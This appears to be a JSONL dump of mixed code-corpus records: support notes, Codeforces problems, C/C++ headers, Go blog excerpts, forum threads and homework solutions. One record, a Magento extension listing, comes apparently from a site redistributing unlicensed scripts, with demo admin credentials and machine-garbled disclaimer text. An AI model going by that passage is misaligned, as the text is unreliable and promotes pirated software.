    {"text": "When Symantec Protection for SharePoint Servers 6.0 is installed in a SharePoint environment with mirrored SQL database servers, the Protection for SharePoint Servers 6.0 console will be inaccessible through the Central Administration page and SPSS 6.0 will not work as expected.\n\"2011-11-30 11:40:44\",\"(null)\",\"-1\",\"Error\",\"Cannot open\ndatabase \"\"xxxxxxxxx\"\" requested by the login. The login failed. Login\nfailed for user 'DOMAIN\\username.\",\" at\nowningObject) at System.Data.ProviderBase.DbConnectionFactory.GetConnection\n(DbConnection owningConnection) at\nouterConnection, DbConnectionFactory connectionFactory) at\nobjectType, String serverName)\",\"DAL: GetSPSSObjectsData\",\"SPSSDal\"\nThis issue is caused by a Defect in Symantec Protection for SharePoint Servers. When a SQL database is configured as the mirrored (secondary) database, access to this database is not allowed. The problem SPSS 6.0 in counters is that it is attempting to access this mirrored SQL database as if it is the primary database.\nThis issue has been addressed in 6.0.1 build of Symantec Protection for SharePoint Servers, which is currently available. Note, if upgrading to SPSS 6.0.1 is not an option there is a patch that can be applied to the 6.0 build of SPSS. Please contact Support regarding this patch.\nMirrored SQL database servers", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 310, "token_count_with_eod": 311, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "τῷ: that one, i.e. Paris. The mention of his name is unnecessary, since the gods have been watching the single-combat.αὖτε: on the other hand. φιλομμειδής: by assimilation for “φιλο-σμει-δης”. See § 12 e.\nThis text is part of:\nTable of Contents:\nThis work is licensed under a Creative Commons Attribution-ShareAlike 3.0 United States License.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 104, "token_count_with_eod": 105, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Most e-commerce websites provide a way for users to submit website feedback form with additional functionality from front end side. For this functionality, we have added “Website Feedback” extension.\nMagento2 Website Feedback extension is developed for providing flexibility to users can submit website feedback from front end side.\nIt comes with an admin configuration options that can be easily managed through website back end.\nOur extension provides flexibility for admin to set website feedback page. This can be managed completely via Magento2 admin. Separate CSS file is created to allow developers to change the look and feel of this section. CSS edits can be done from “GsWebsiteFeedback viewfrontendwebcssgs_websitefeedback.css”\n1. Users can submit website feedback from front end side and save in admin side grid.\n2. Admin can see website feedback from admin panel\n3. Admin manage website feedback page from system configuration.\n4. Admin screen to manage (View, Add, Edit, Delete, Change Status, Export) the website feedback submitted.\n5. Send Auto Responder email to user once website feedback has been submitted.\n6. Submitted Inquiry email send to multiple TO, multiple CC and multiple BCC addresses defined by admin within the comma separated manner. 7. Enable / Disable module from system configuration.\n1. Admin can enabled/disabled extension from admin configuration\n2. Admin can manage Website feedback module from system configuration.\n1. Users can submit website feedback from front end side.\nInstallation & Configuration Steps : You can find in downloaded file.\nURL : http://magento2.greesys.com/modules-demo/\nADMIN URL : http://magento2.greesys.com/modules-demo/greesys_admin/\nuname : greesys_admin\npass : [email protected]\nMercifully Note: We refresh new substance like WordPress Themes,\nPlugins, PHP Scripts ordinary. In any case, recall that you\nought to never utilize this things in a business site.\nEvery one of the substance posted here for advancement\nand testing reason as it were. We’re not in charge of\nany harm, use at your own particular RISK! We highly recommend to buy Website Feedback from the The Developer ( greesys ) website. Thank you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 455, "token_count_with_eod": 456, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "You will receive 3 points for solving this problem.\n\nManao is designing the genetic code for a new type of algae to efficiently produce fuel. Specifically, Manao is focusing on a stretch of DNA that encodes one protein. The stretch of DNA is represented by a string containing only the characters 'A', 'T', 'G' and 'C'.\n\nManao has determined that if the stretch of DNA contains a maximal sequence of consecutive identical nucleotides that is of even length, then the protein will be nonfunctional. For example, consider a protein described by DNA string \"GTTAAAG\". It contains four maximal sequences of consecutive identical nucleotides: \"G\", \"TT\", \"AAA\", and \"G\". The protein is nonfunctional because sequence \"TT\" has even length.\n\nManao is trying to obtain a functional protein from the protein he currently has. Manao can insert additional nucleotides into the DNA stretch. Each additional nucleotide is a character from the set {'A', 'T', 'G', 'C'}. Manao wants to determine the minimum number of insertions necessary to make the DNA encode a functional protein.", "source": "cpt_codeforces", "language": "en", "token_count": 237, "token_count_with_eod": 238, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "Posted 22 September 2010 - 02:51 AM\nPosted 22 September 2010 - 06:44 PM\nPosted 25 September 2010 - 02:49 AM\nGetting Worked Up, No Need to\nTamagotchi Warnings: aiding the search for genuine products - some good guidelines on what is and what is not worth getting worked up about\nPosted 25 September 2010 - 10:47 AM\nPosted 05 October 2010 - 07:52 AM\nEdited by TamaMum, 05 October 2010 - 02:23 PM.\nPosted 11 October 2010 - 03:08 PM\nEdited by The Great Pumpkin Charlie Brown, 11 October 2010 - 03:10 PM.\nPosted 02 July 2011 - 12:42 PM\nIt is and the names Jidan and Bandi They sound the same and the V5 That is BANDI'S!!! Come on make youre own Vpets. i hope they do take this to court\nThat's just horrible, how dare they steal bandai's products and idea! I really hope that Bandai steps up and takes this to court and sues Jidan. Because clearly Bandai has copyrighted all of their tamagotchi's, and to think someone out there is trying to take away and fool consumers out of their money is just frustrating!\nPosted 02 July 2011 - 01:22 PM\nPlease avoid posting replies in topics where the last post was made more than three months ago?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 376, "token_count_with_eod": 377, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "When I started my career as a software developer and published the first production application what I did was staring at logs and look for some fatal errors. It was a monolith application. Every log saying that something’s wrong had to be fixed. ASAP. This approach worked for some time. However, when the scale increased, and I started building microservices, I couldn’t get rid of all of them. Network issues, database failures, and more - it happens all the time.\nIn Go, we can refer to variables using value or pointers. Sometimes, it’s hard to answer which approach is more suitable. At the first place, you should learn about general rules. Value semantic should be used every time when copying the value make sense in the logic of your code. For example, every value object should be passed by value. If you have a struct Money then it’s possible (and also make sense) to have, at the same time, multiple 10$ in your code.\nSlice is the most important data structure in Go. When it comes to performance, slices are going to beat any other data structure. They are simple but powerful. However, there are some gotchas you have to keep in mind. Today, I’ll explain how slices work to help you prevent some hard to find bugs and write better code. In Go, arrays have a fixed size. The length is part of the array’s type.\nIn the garbage-collected world, we want to keep the GC overhead as little as possible. One of the things we can do is limiting the number of allocations in our application. How to achieve that? There’s sync.Pool which caches allocated but unused items for later reuse. The Pool can become very useful when you have multiple parallel operations that can share the same piece of memory between them. The real power of it is visible when you have frequent allocations and deallocations of the same data structure.\nOAuth 2.0 is the industry-standard protocol for authorization. Go has built-in support for this protocol and today we’ll build a simple application. The application will use the Facebook API to authorize a user. If you need to clarify what oauth2 is and how it works you can take a look at the introduction from DigitalOcean. There are some videos as well. The very first step of building our program is creating a new Facebook application.\nThe varnish is a well-known HTTP accelerator. As the continuation of the GoInPractice series, today I’ll show how you can build a simple (and naive) varnish implementation in Go. Some of the code is reused from Writing a reverse proxy so if you don’t understand something, I recommend taking a look at the blog post. We’ll split our project into a few parts. The first one will be the caching mechanism.\nThis is the very first time I write a summary of a year. I feel that today is the day I should start doing it and that some digits may be interesting for some people. The biggest change I made this year was changing the blogging platform to Hugo and focused more on Go content. I continued organizing GoCracow meetup. This helped me become a Google Developer Expert in Go category.\nYou can find a lot of materials about Go (including this blog) but it’s hard to find the best place to start. This article’s goal is to sum up the most valuable materials I found to help others. I focus only on free materials. Fundamentals The Go tour - IMO the absolutely must do. You can try Go without installing it. You’ll learn some basic syntax and concepts step by step, Go by example - if you’re confused how to use a certain part of the language it’s possible you’ll find an example of it on this page.\nSome time ago, I found a video called Building a DIY proxy with the net package. I recommend watching it. Filippo Valsorda builds a simple proxy using low-level packages. It’s fun to watch it but I think it’s a bit complicated. In Go, it has to be an easier way so I decided to continue writing series Go In Practice by writing a simple but yet powerful reverse proxy as fast as it’s possible.\nGo is perfect for network applications. Its awesome standard library helps a lot in writing such software. In this article, we’ll write a simple TCP scanner in Go. The whole programm will take less than 50 lines of code. Before we’ll go to practice - a little theory. Of course, the TCP is more complicated than I describe but we need just basics. The TCP handshake is three-way. Firstly, the client sends the syn package which signals the beginning of a communication.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Alice is visiting New York City. To make the trip fun, Alice will take photos of the city skyline and give the set of photos as a present to Bob. However, she wants to find the set of photos with maximum beauty and she needs your help.\n\nThere are $$$n$$$ buildings in the city, the $$$i$$$-th of them has positive height $$$h_i$$$. All $$$n$$$ building heights in the city are different. In addition, each building has a beauty value $$$b_i$$$. Note that beauty can be positive or negative, as there are ugly buildings in the city too.\n\nA set of photos consists of one or more photos of the buildings in the skyline. Each photo includes one or more buildings in the skyline that form a contiguous segment of indices. Each building needs to be in exactly one photo. This means that if a building does not appear in any photo, or if a building appears in more than one photo, the set of pictures is not valid.\n\nThe beauty of a photo is equivalent to the beauty $$$b_i$$$ of the shortest building in it. The total beauty of a set of photos is the sum of the beauty of all photos in it. Help Alice to find the maximum beauty a valid set of photos can have.", "source": "cpt_codeforces", "language": "en", "token_count": 259, "token_count_with_eod": 260, "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "// -*- C++ -*- \t$Id: DominantColor.h,v 1.6 2010/08/17 11:25:45 vvi Exp $\n/**\n   \\file DominantColor.h\n\n   \\brief Declarations and definitions of class DominantColor\n   \n   DominantColor.h contains declarations and definitions of class the DominantColor, which\n   is a class that performs sobel edge histogram extraction.\n  \n   \\author Jorma Laaksonen \n   $Revision: 1.6 $\n   $Date: 2010/08/17 11:25:45 $\n   \\bug May be some out there hiding.\n   \\warning Be warned against all odds!\n   \\todo So many things, so little time...\n*/\n#ifndef _DominantColor_\n#define _DominantColor_\n\n#include \"PseudoMPEG7.h\"\n#include \n\nnamespace picsom {\n\nclass DominantColor : public PseudoMPEG7 {\n\n public:\n\n  /** Constructor\n      \\param img initialise to this image\n      \\param opt list of options to initialise to\n  */\n  DominantColor(const string& img = \"\", const list& opt = (list)0) {\n    Initialize(img, \"\", NULL, opt);\n  }\n\n  /** Constructor\n      \\param img initialise to this image\n      \\param seg initialise with this segmentation\n      \\param opt list of options to initialise to\n  */\n  DominantColor(const string& img, const string& seg,\n\t      const list& opt = (list)0) {\n    Initialize(img, seg, NULL, opt);\n  }\n\n \n  /// This constructor doesn't add an entry in the methods list.\n  DominantColor(bool) : PseudoMPEG7(false) {}\n\n  // ~DominantColor();\n\n  virtual Feature *Create(const string& s) const {\n    return (new DominantColor())->SetModel(s);\n  }\n\n \n  // copied from PixelBased\n\n  virtual string Name()          const { return \"dominantcolor\"; }\n\n  virtual string LongName()      const { return \"Dominant Color\"; }\n\n  virtual string ShortText()     const {\n    return \"CIE Luv coordinates of two dominant color clusters*\"; }\n\n  // NB According to MPEG-7 standard, ought to use CIE Lab space\n  // This erraneous behaviour was decided to be kept unchanged \n  // to avoid a change in feature vector semantics\n\n\n  virtual Feature *Initialize(const string& img, const string& seg,\n\t\t      segmentfile *s, const list& opt,\n\t\t      bool allocate_data=true);\n\n  virtual string Version() const;\n\n  virtual featureVector getRandomFeatureVector() const{\n    return vector(6);\n  }\n\n  virtual int printMethodOptions(ostream&) const;\n\n  virtual bool ProcessOptionsAndRemove(list&); \n\nprotected:\n\n  virtual featureVector CalculateMask(char *mask);\n\n  vector \n  GLA(vector &data,\n      int initBins, int finalBins);\n\n  vector \n  GLAApproximate(vector &data,\n\t\t int initBins, int finalBins,int samplecount);\n    \n  void update_centers(vector &data, vector &labels, \n\t\t      vector ¢ers, int number_of_means);\n  \n  int update_labels(vector &data, vector &labels, \n\t\t    vector ¢ers, int number_of_means);\n\n  featureVector \n  determinePerturbation(vector &data,\n\t\t\tvector &labels,int bin);\n\n  float totalDistortion(vector &data,\n\t\t\t\t      vector &labels,\n\t\t\t\t      vector &bins);\n\n\n  int findMaxDistortion(vector &data,\n\t\t\tvector &labels,\n\t\t\tvector &bins);\n\n\n};\n\n}\n#endif\n\n// Local Variables:\n// mode: font-lock\n// End:", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "/**\n * @file system_helper.h\n * @author Rastislav Szabo , Lukas Macko ,\n *         Milan Lenco \n * @brief API of helper functions for interaction with the underlying system \n *        for testing purposes.\n *\n * @copyright\n * Copyright 2016 Cisco Systems, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *    http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n#ifndef SYSTEM_HELPER_H\n#define SYSTEM_HELPER_H\n\n#include \n#include \n\n/**\n * @brief A custom implementation of ::popen that hopefully doesn't\n * suffer from this glibc bug: https://bugzilla.redhat.com/show_bug.cgi?id=1275384.\n * It also enables to communicate with the process through stdin, stdout, stderr.\n */\npid_t sr_popen(const char *command, int *stdin_p, int *stdout_p, int *stderr_p);\n\n/**\n * @brief Print current backtrace to stderr.\n */\nvoid print_backtrace();\n\n/**\n * @brief Assert that the given pointer is non-NULL.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_non_null_bt(void *arg);\n\n/**\n * @brief Assert that the given pointer is NULL.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_null_bt(void *arg);\n\n/**\n * @brief Assert that the given argument is true.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_true_bt(bool arg);\n\n/**\n * @brief Assert that the given argument is false.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_false_bt(bool arg);\n\n/**\n * @brief Assert that the two given strings are equal.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_string_equal_bt(const char *a, const char *b);\n\n/**\n * @brief Assert that the two given integers are equal.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_int_equal_bt(int a, int b);\n\n/**\n * @brief Assert that the two given integers are not equal.\n * In case of failed assertion, print current backtrace to stderr.\n */\nvoid assert_int_not_equal_bt(int a, int b);\n\n/**\n * @brief Reads an entire line from a file, storing the address of the buffer\n * containing the text into *line_p. The buffer is null-terminated and includes\n * the newline character, if one was found.\n * Same like ::getline but uses file descriptor. Furthermore, ::getline was standardized\n * still quite recently and may not exist on many systems.\n */\nsize_t readline(int fd, char **line_p, size_t *len_p);\n\n/**\n * @brief Tests file (non)existence.\n */\nvoid test_file_exists(const char *path, bool exists);\n\n/**\n * @brief Tests file owner.\n */\nvoid test_file_owner(const char *path, const char *owner);\n\n/*\n * @brief Tests file permissions.\n */\nvoid test_file_permissions(const char *path, mode_t permissions);\n\n/**\n * @brief Tests file content against the given string / regular expression.\n * Prepend the string with exclamation mark to test that the file\n * content does NOT match the supplied string/pattern.\n */\nvoid test_file_content(const char *path, const char *exp_content, bool regex);\n\n/**\n * @brief Compares contents of two files using strcmp().\n */\nint compare_files(const char *path1, const char *path2);\n\n/**\n * @brief Executes shell command, tests return value and compares output \n * against the given string / regular expression.\n */\nvoid exec_shell_command(const char *cmd, const char *exp_out, bool regex, int exp_ret);\n\n#endif /* SYSTEM_HELPER_H */", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
    {"text": "I had a publication almost ready to go, worked great and uploaded on the cloud. I then updated the tools, builder on mac and viewer on iPad with all latest updates (including the Jan 26 update and Jan 17 Folio tools etc) and all MSOs and buttons I had started 'misbehaving'. I re-uploaded everything on cloud again and I get these errors:\n- Some buttons became 'untappable' (they work fine on the desktop viewer)\n- I have pop up MSO box with text which is triggered by a button - text wont show on iPad but it shows on desktop viewer correctly. If I outline it, it shows on iPad too\n- With previous viewer, the video would come up in front of any object when played, including MSOs. Now it seems that you have to put the video in front and cover all your 'play' buttons etc.\nCan you tell me if these were planned changes on the workflow or just a mistake on the iPad viewer and planning to be fixed?\nTony, I see this is your first post.\nPLEASE read the other threads posted recently. In short, there is a (IMO) very serious bug in the Content Viewer on the iPad.\nIf you haven't used any new features in the new tools you can roll back to version 17.\nFYI I wanted to add couple of other issues in relation to MSOs.\n1. I'm creating a simple MSO that is triggered by a button, and it only has two states, one is blank and the other is with a 'popup' box. If the box has a text box that uses 2 coulms or tables the MSO doesnt work. If I make two separate linked-flowing text boxes it works just fine. It seems that there are issues with how the 'textbox' is formatted.\n2. Always when i download (update) an app on the viewer on iPad and tap to view it the viewer quits and have to re-launch it again", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 412, "token_count_with_eod": 413, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "There exists an island called Arpa’s land, some beautiful girls live there, as ugly ones do.\n\nMehrdad wants to become minister of Arpa’s land. Arpa has prepared an exam. Exam has only one question, given n, print the last digit of 1378n.\n\nMehrdad has become quite confused and wants you to help him. Please help, although it's a naive cheat.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
    {"text": "1. Diagonal matrices\nA matrix A is a diagonal matrix if it is a square matrix with Aij=0 whenever i≠j.\n- Prove or disprove: If A and B are diagonal matrices of the same size, so is AB.\nLet p(A)=Πi Aii. Prove or disprove: If A and B are diagonal matrices as above, then p(AB) = p(A)p(B).\nWe need to show that (AB)ij=0 for i≠j (we don't care what happens when i=j). Let i≠j, and compute (AB)ij = ∑k AikBkj = AiiBij + AijBjj = 0, where the first simplification uses the fact that Aik=0 unless i=k (and similarly for Bkj), and the second uses the assumption that i≠j.\nNow we care what happens to (AB)ii. Compute (AB)ii = ∑k AikBki = AiiBii. So p(AB) = Πi (AB)ii = ∏i (AiiBii) = (∏i Aii)(Πi Bii) = p(A)p(B).\n2. Matrix square roots\n- Show that there exists a matrix A such that A≠0 but A²=0.\n- Show that if A²=0, there exists a matrix B such that B²=I+A. Hint: What is (I+A)²?\nHere is a simple example of a nonzero matrix whose square is 0:\nFor the second part, the hint suggests looking at (I+A)² = I² + IA + AI + A² = I + 2A (since IA=AI=A and it is given that A²=0). So I+A is almost right, but there is that annoying 2 there. We can get rid of the 2 by setting B instead to I+½A, which gives B² = (I+½A)² = I+A+¼A² = I+A.\n3. Dimension reduction\nLet A be an n×m random matrix obtained by setting each entry Aij independently to ±1 with equal probability.\nLet x be an arbitrary vector of dimension m.\nCompute E[||Ax||²], as a function of ||x||, n, and m, where ||x|| = (x⋅x)1/2 is the usual Euclidean length.\nMostly this is just expanding definitions.\nThe second-to-last step follows because E[AijAik] = 0 when Aij and Aik are independent (i.e., when j≠k) and E[AijAij] = E[(±1)²) = 1.\n4. Non-invertible matrices\nLet A be a square matrix.\nProve that if Ax=0 for some column vector x≠0, then A-1 does not exist.\nProve that if the columns of A are not linearly independent, then A-1 does not exist.\nProve that if the rows of A are not linearly independent, then A-1 does not exit.\nSuppose A-1 exists and that Ax=0 for some nonzero x. Then x = (A-1A)x = A-1(Ax) = A-10 = 0, a contradiction.\nLet A⋅i represent the i-th column of A. If the columns of a are not linearly independent, there exist coefficients xi, not all zero, such that ∑ xiA⋅i = 0. But then Ax = ∑ xiA⋅i = 0, where x is the (nonzero) vector of these coefficients. It follows from the previous case that A is not invertible.\nObserve that if A has an inverse, then so does its transpose A', since if A-1 exists we have (A-1)'A' = (AA-1)' = I and A'(A-1)' = (A-1A)' = I. If the rows of A are not linearly independent, then neither are the columns of A'; it follows that A' has no inverse, and thus neither does A.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Ports using Python via USES=python are now flavored. All the py3-* ports\nhave been removed and folded into their py-* master ports.\nPeople using Poudriere 3.2+ and binary packages do not have to do anything.\nFor other people, to build the Python 3.6 version of, for example,\ndatabases/py-gdbm, you need to run:\n# make FLAVOR=py36 install\nNumber of commits found: 77\nCommit History - (may be incomplete: see SVNWeb link above for full details)\ngraphics/py-pillow: Update to 7.0.0\n* Repo-Copy the Pillow 6.2.2 release to graphics/py-pillow6 to retain\nbackwards compatibility for Python 2 consumers as the Pillow 7.0.0 release\ndropped the support for Python 2.\n* Apply conditional statements to use either Pillow 7.x or Pillow 6.x for\nconsumers that can be built for Python 2 or newer.\n* Exceptions are ports that can be built only for either Python 2 or\nPython 3. For the first case, consumers are just assigned to the\n* Also remove Pillow from BUILD_DEPENDS of math/py-PyWavelets as it is not\nlisted in setup.py as a build dependency  and relax the version\n(Only the first 15 lines of the commit message are shown above )", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 301, "token_count_with_eod": 302, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Join GitHub today\nGitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.Sign up\nEntirely delete a widget which was added but not previously saved? #49\nRight now, if you remove a widget it will get moved to the Inactive Widgets “sidebar”. This also goes for widgets that you add but don't ever publish, like if you add a widget to a sidebar and then immediately remove it. This will probably result in the Inactive Widgets sidebar getting filled up with a lot of fragmented widgets which the user would not expect to be saved in the trash, since they were never properly saved to begin with.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "Amazon seems to think I'll like \"What To Expect When You're Expecting\", Netflix suggests I watch \"The X Files\", but neither is likely to appeal to me. In spite of letting Amazon know what movies I own, and in spite of having rated over 1300 movies on Netflix, both of their recommendation engines have a miserable success rate.\nThey're not alone. Every time I hear about a new movie recommendation website I go and try it out, and invariably I'm presented with a list of movies that suits me no better than a random selection.\nThe problem with Amazon and Netflix is that their recommendations are based on what other people like. If I liked \"Gosford Park\" then they assume I'll like every other movie favored by other people who liked \"Gosford Park\". That's just plain silly. My wife likes a lot of the same movies I do, but there are a significant number of them we disagree on - sometimes strongly. Statistical analysis of the preferences of huge numbers of people can help a bit, but then you only get presented with the popular movies - and if your tastes don't tend towards what the majority likes, you're screwed.\nThere are a couple of recommendation engines out there that try to improve on this by evaluating movies based on objective criteria, and then match those criteria to the individual based on a survey and rated movies - Jinni is a good example of this sort. It was released with much fanfare and sounded like the movie equivalent to Pandora. I tried it out, spending a couple of hours rating movies only to have it routinely recommend movies I've seen and hated.\nWhat went wrong?\nWhile I do tend to prefer certain kinds of films (action, sci-fi, fantasy) over others (horror, romance), the genre (along with the other objective criteria that Jinni uses) aren't good predictors for whether I'll like a movie. There are a lot of movies that would seem to be a match for me that I absolutely despise, and an equal number (or more) which don't match that I love.\nThe odd thing is that many years back, when I was still renting movies from a video store, I routinely got recommendations with a phenomenal hit rate. These suggestions came from an unlikely source - one of the video store employees, now fondly remembered as \"The Guy\".\nIn some ways, The Guy was kind of scary. He'd seen almost every single movie in the store and remembered them all. That's not the scary part. He also remembered the major and minor actors and actresses in each film and the kind of roles they played in the story. That's not the scary part either. The scary part is that he also remembered the director, producer and cinematographer, and could come up with a list of other films that any of them had ever worked on, sorted into phases that each of them seemed to be going through in that stage of their life's work. The Guy seemed to have all of the IMDB inside his head cross indexed with every movie critic ever.\nIf you were standing and staring at the shelves long enough, The Guy would walk up and ask you what sort of film you were interested in. You'd answer with a genre or a movie you liked and he'd instantaneously dissect it into component parts and then recommend something based upon these parts.\nHe never recommended a movie to me that I didn't like.\nLater I realized that this feat that is so incredible in a human being would actually be quite easy for a computer program. All that's needed is a reasonably complete database of movies - and, what do you know, there is one. IMDB has all sorts of data on movies. I thought about the algorithm a bit and then wrote a simple program to try it out.\nThe program takes as its input a movie the user likes. It then gets a list of every single person who worked on the film - I ignored jobs like gaffer and dolly grip, and stuck to those like actor, director, and writer. Since the user likes the movie, all of those people get a +1.\nThe program then got a list of every film each of these people worked on, and gave those films in turn a +1. Note that if the film had two people in common with the liked film, it would receive the bonus from each of them.\nWhen any of these films is rated, all the people involved have their rating changed accordingly, +1 for liked and -1 for disliked. The list of films is recalculated and re-presented.\nThe result is a list of recommendations that actually seems to fit reality. Actors, directors, and writers don't restrict themselves to a single genre or movie style, but they're likely to work on projects that suit their own particular preferences. This means that if I like a Nicholas Cage film I'm liable to like another one of his films, even if it's not in a genre I usually watch.\nJust Do It\nThe program worked incredibly well. IMDB has all the data right there. If I can cobble together a passable version of this system using php then they could have a full-blown user friendly version in a heartbeat (with an iPhone app and all). They could license the engine to Amazon and Netflix too.\nI could do it, but that would require working out a deal for access to the data, and developing APIs and the like, and I'm just not that type of programmer.\nThough if I did develop it I'd put a nice, simple pseudo-AI interface on it and call it \"The Guy\".\nFriday, September 28, 2012\nWednesday, September 12, 2012\nPandoracon 2012 – September 28-30\nPandoracon is a new convention and it's local to me, so when I heard they were looking for programming I figured it was worth a try. I'm currently signed up to run the following panels, though I may end up being involved in more.I usually enjoy smaller conventions more - everything is more relaxed and there's much more chance of actually being able to talk with the guests of honor.\nFantasy games and novels are commonly set in a society based on medieval Europe. Learn how medieval English and French cuisine worked as a system. Topics will include medieval ingredients and preparation methods, the structure of medieval feasts, finding medieval recipes (or making them up), and common myths about medieval foods\n09/29/2012, 5:00 PM\nWorld Design - Food\nRealistic food can add depth to a story, and can also reveal aspects about the climate and culture of a people. Learn how to create food and foodways that are exotic but still believable.\n09/29/2012, 10:00 PM\nWorld Design - Language\nPanelists will discuss methods that authors and game designers use for creating believable fictional languages.\n09/30/2012, 12:00 PM\nWorld Design - GeographyThat's a lot in just two days, though I'm really looking forward to it. We'll see how it goes.\nThe physical world influences a society’s development. Learn how to let the environment shape your fictional culture.\n09/30/2012, 2:00 PM", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1525, "token_count_with_eod": 1526, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
    {"text": "// Copyright 2019 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#ifndef COMPONENTS_SAFE_BROWSING_CORE_VERDICT_CACHE_MANAGER_H_\n#define COMPONENTS_SAFE_BROWSING_CORE_VERDICT_CACHE_MANAGER_H_\n\n#include \"base/gtest_prod_util.h\"\n#include \"base/memory/scoped_refptr.h\"\n#include \"base/memory/weak_ptr.h\"\n#include \"base/scoped_observer.h\"\n#include \"base/time/time.h\"\n#include \"base/values.h\"\n#include \"components/content_settings/core/browser/host_content_settings_map.h\"\n#include \"components/history/core/browser/history_service.h\"\n#include \"components/history/core/browser/history_service_observer.h\"\n#include \"components/keyed_service/core/keyed_service.h\"\n#include \"components/safe_browsing/core/proto/csd.pb.h\"\n#include \"components/safe_browsing/core/proto/realtimeapi.pb.h\"\n#include \"url/gurl.h\"\n\nclass HostContentSettingsMap;\n\nnamespace safe_browsing {\n\nusing ReusedPasswordAccountType =\n    LoginReputationClientRequest::PasswordReuseEvent::ReusedPasswordAccountType;\n\n// Structure: http://screen/YaNfDRYrcnk.png.\nclass VerdictCacheManager : public history::HistoryServiceObserver,\n                            public KeyedService {\n public:\n  explicit VerdictCacheManager(\n      history::HistoryService* history_service,\n      scoped_refptr content_settings);\n  VerdictCacheManager(const VerdictCacheManager&) = delete;\n  VerdictCacheManager& operator=(const VerdictCacheManager&) = delete;\n  VerdictCacheManager(VerdictCacheManager&&) = delete;\n  VerdictCacheManager& operator=(const VerdictCacheManager&&) = delete;\n\n  ~VerdictCacheManager() override;\n\n  base::WeakPtr GetWeakPtr() {\n    return weak_factory_.GetWeakPtr();\n  }\n\n  // KeyedService:\n  // Called before the actual deletion of the object.\n  void Shutdown() override;\n\n  // Stores |verdict| in |content_settings_| based on its |trigger_type|, |url|,\n  // reused |password_type|, |verdict| and |receive_time|.\n  void CachePhishGuardVerdict(\n      LoginReputationClientRequest::TriggerType trigger_type,\n      ReusedPasswordAccountType password_type,\n      const LoginReputationClientResponse& verdict,\n      const base::Time& receive_time);\n\n  // Looks up |content_settings_| to find the cached verdict response. If\n  // verdict is not available or is expired, return VERDICT_TYPE_UNSPECIFIED.\n  // Can be called on any thread.\n  LoginReputationClientResponse::VerdictType GetCachedPhishGuardVerdict(\n      const GURL& url,\n      LoginReputationClientRequest::TriggerType trigger_type,\n      ReusedPasswordAccountType password_type,\n      LoginReputationClientResponse* out_response);\n\n  // Gets the total number of verdicts of the specified |trigger_type| we cached\n  // for this profile. This counts both expired and active verdicts.\n  size_t GetStoredPhishGuardVerdictCount(\n      LoginReputationClientRequest::TriggerType trigger_type);\n\n  // Stores |verdict| in |content_settings_| based on its |url|, |verdict| and\n  // |receive_time|.\n  // |store_old_cache| is used for compatibility test. It is set to true only\n  // when we need to store an old cache for testing.\n  // TODO(crbug.com/1049376): |store_old_cache| should be removed once\n  // |cache_expression| field is deprecated.\n  void CacheRealTimeUrlVerdict(const GURL& url,\n                               const RTLookupResponse& verdict,\n                               const base::Time& receive_time,\n                               bool store_old_cache);\n\n  // Looks up |content_settings_| to find the cached verdict response. If\n  // verdict is not available or is expired, return VERDICT_TYPE_UNSPECIFIED.\n  // Otherwise, the most matching theat info will be copied to out_threat_info.\n  // Can be called on any thread.\n  RTLookupResponse::ThreatInfo::VerdictType GetCachedRealTimeUrlVerdict(\n      const GURL& url,\n      RTLookupResponse::ThreatInfo* out_threat_info);\n\n  // Overridden from history::HistoryServiceObserver.\n  void OnURLsDeleted(history::HistoryService* history_service,\n                     const history::DeletionInfo& deletion_info) override;\n\n  void HistoryServiceBeingDeleted(\n      history::HistoryService* history_service) override;\n\n private:\n  FRIEND_TEST_ALL_PREFIXES(VerdictCacheManagerTest, TestCleanUpExpiredVerdict);\n  FRIEND_TEST_ALL_PREFIXES(VerdictCacheManagerTest,\n                           TestCleanUpExpiredVerdictWithInvalidEntry);\n  FRIEND_TEST_ALL_PREFIXES(VerdictCacheManagerTest,\n                           TestRemoveCachedVerdictOnURLsDeleted);\n  